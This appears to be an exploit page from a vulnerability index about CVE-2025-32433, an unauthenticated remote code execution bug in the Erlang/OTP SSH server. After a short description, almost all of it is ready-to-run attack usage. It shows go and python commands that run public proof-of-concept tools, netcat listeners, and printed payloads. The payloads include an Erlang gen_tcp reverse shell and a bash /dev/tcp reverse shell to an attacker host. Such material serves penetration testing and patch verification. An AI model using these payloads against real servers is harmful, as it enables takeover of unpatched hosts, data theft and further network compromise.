# CVE-2025-32433 - Erlang RCE

- **URL:** https://hackindex.io/vulnerabilities/CVE-2025-32433
- **CVE:** CVE-2025-32433
- **GHSA:** GHSA-37cp-fgq5-7wc2
- **CVSS score:** 10
- **CVSS vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- **Type:** CWE-306
- **Complexity:** Low
- **Privileges:** None
- **Affected versions:** >= 17.0 
>= 3.0.1

- **Patched versions:** 27.3.3, 26.2.5.11, 25.3.2.20
5.2.10, 5.1.4.8, 4.15.3.12

- **Published:** 2026-02-21
- **Updated:** 2026-03-07

CVE-2025-32433 is a critical bug in the **Erlang/OTP SSH server** disclosed on **April 16, 2025** where an attacker can send specially crafted SSH messages **before authentication** and get the server to **run code without logging in**. It happens due to improper handling of certain SSH channel request messages, and if exploited it can lead to **unauthenticated remote code execution**, meaning full takeover of the exposed service/host, data theft, and a launch point for deeper network compromise.

Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.

#### Blind RCE

**[joshuavanderpoll/cve-2025-32433](https://github.com/joshuavanderpoll/cve-2025-32433)** - CVE-2025-32433 — unauthenticated RCE in Erlang/OTP SSH.

```bash
go run github.com/joshuavanderpoll/cve-2025-32433@latest -host 127.0.0.1 -port 2222 -command whoami
#    _____   _____   ___ __ ___ ___    _______ _ _ ________
#   / __\ \ / / __|_|_  )  \_  ) __|__|__ /_  ) | |__ /__ /
#  | (__ \ V /| _|___/ / () / /|__ \___| _ \/ /|_  _|_ \|_ \
#   \___| \_/ |___| /___\__/___|___/  |___/___| |_|___/___/
#   https://github.com/joshuavanderpoll/CVE-2025-32433
#
# [*] Target → 127.0.0.1:2222
# [~] Connection established, sending exploit chain...
# [~] Server banner: SSH-2.0-Erlang/5.1.4.7
# [>] Payload: os:cmd("bash -c 'whoami'").
# [✓] Payload delivered. Execution depends on server state.
#
# ⭐ If this tool helped you, consider starring the repo: https://github.com/joshuavanderpoll/CVE-2025-32433
```

#### Reverse shell #1

**[joshuavanderpoll/cve-2025-32433](https://github.com/joshuavanderpoll/cve-2025-32433)** - CVE-2025-32433 — unauthenticated RCE in Erlang/OTP SSH.

Start a reverse shell listener:

```bash
  nc -lvnp 1111
# listening on $LPORT ...
#
```

```bash
go run github.com/joshuavanderpoll/cve-2025-32433@latest -host 127.0.0.1 -port 2222 -shell -lhost 127.0.0.1 -lport 1111
#    _____   _____   ___ __ ___ ___    _______ _ _ ________
#   / __\ \ / / __|_|_  )  \_  ) __|__|__ /_  ) | |__ /__ /
#  | (__ \ V /| _|___/ / () / /|__ \___| _ \/ /|_  _|_ \|_ \
#   \___| \_/ |___| /___\__/___|___/  |___/___| |_|___/___/
#   https://github.com/joshuavanderpoll/CVE-2025-32433
#
# [*] Target → 127.0.0.1:2222
# [*] Dispatching reverse shell → 127.0.0.1:1111
# [*] Start your listener before this hits: nc -lv 1111
# [~] Connection established, sending exploit chain...
# [~] Server banner: SSH-2.0-Erlang/5.1.4.7
# [>] Payload: spawn(fun()->{ok,T}=gen_tcp:connect("127.0.0.1",1111,[binary,{packet,line},{active,true}]),F=fun R()->receive{tcp,T,M}->gen_tcp:send(T,os:cmd(string:trim(binary_to_list(M)))++"\n"),R()end end,F()end).
# [✓] Payload delivered. Execution depends on server state.
# [+] Reverse shell payload dispatched successfully.
#
# ⭐ If this tool helped you, consider starring the repo: https://github.com/joshuavanderpoll/CVE-2025-32433
```

#### Check vulnerability

**[joshuavanderpoll/cve-2025-32433](https://github.com/joshuavanderpoll/cve-2025-32433)** - CVE-2025-32433 — unauthenticated RCE in Erlang/OTP SSH.

```bash
go run github.com/joshuavanderpoll/cve-2025-32433@latest -host 127.0.0.1 -port 2222
#    _____   _____   ___ __ ___ ___    _______ _ _ ________
#   / __\ \ / / __|_|_  )  \_  ) __|__|__ /_  ) | |__ /__ /
#  | (__ \ V /| _|___/ / () / /|__ \___| _ \/ /|_  _|_ \|_ \
#   \___| \_/ |___| /___\__/___|___/  |___/___| |_|___/___/
#   https://github.com/joshuavanderpoll/CVE-2025-32433
#
# [*] Target → 127.0.0.1:2222
# [~] Connection established, starting probe...
# [~] Server banner: SSH-2.0-Erlang/5.1.4.7
# [+] No response data received, but connection held — consider the host potentially vulnerable.
# [!!] 127.0.0.1:2222 is VULNERABLE to CVE-2025-32433
#
# ⭐ If this tool helped you, consider starring the repo: https://github.com/joshuavanderpoll/CVE-2025-32433
```

#### Blind code execution

**[joshuavanderpoll/cve-2025-32433](https://github.com/joshuavanderpoll/cve-2025-32433)** - CVE-2025-32433 — unauthenticated RCE in Erlang/OTP SSH.

```bash
go run github.com/joshuavanderpoll/cve-2025-32433@latest -host 127.0.0.1 -port 2222 -code 'file:write_file("/tmp/out.txt", os:cmd("id")).'
#    _____   _____   ___ __ ___ ___    _______ _ _ ________
#   / __\ \ / / __|_|_  )  \_  ) __|__|__ /_  ) | |__ /__ /
#  | (__ \ V /| _|___/ / () / /|__ \___| _ \/ /|_  _|_ \|_ \
#   \___| \_/ |___| /___\__/___|___/  |___/___| |_|___/___/
#   https://github.com/joshuavanderpoll/CVE-2025-32433
#
# [*] Target → 127.0.0.1:2222
# [~] Connection established, sending exploit chain...
# [~] Server banner: SSH-2.0-Erlang/5.1.4.7
# [>] Payload: file:write_file("/tmp/out.txt", os:cmd("id")).
# [✓] Payload delivered. Execution depends on server state.
#
# ⭐ If this tool helped you, consider starring the repo: https://github.com/joshuavanderpoll/CVE-2025-32433
```

#### Reverse shell #2

**[omer-efe-curkus/CVE-2025-32433-Erlang-OTP-SSH-RCE-PoC](https://github.com/omer-efe-curkus/CVE-2025-32433-Erlang-OTP-SSH-RCE-PoC/tree/main)** - Script to start reverse shell

Start a reverse shell listener:

```bash
nc -lvnp 1111
# listening on $LPORT ...
```

Exploit the target:

```bash
git clone https://github.com/omer-efe-curkus/CVE-2025-32433-Erlang-OTP-SSH-RCE-PoC.git
cd CVE-2025-32433-Erlang-OTP-SSH-RCE-PoC
python3 -m venv .venv
source .venv/bin/activate

python3 cve-2025-32433.py $TARGET_IP --shell --lhost $LHOST --lport $LPORT -p $TARGET_PORT
# [*] Target: $TARGET_IP:$TARGET_PORT
# [*] Sending reverse shell to connect back to $LHOST:$LPORT
# [*] Connecting to target...
# [+] Received banner: SSH-2.0-Erlang/5.2.9
# [+] Running command: os:cmd("bash -c 'exec 5<>/dev/tcp/$LHOST/$LPORT; cat <&5 | while read line; do $line 2>&5 >&5; done'").
# [✓] Exploit sent. If vulnerable, command should execute.
# [+] Reverse shell command sent. Check your listener.
```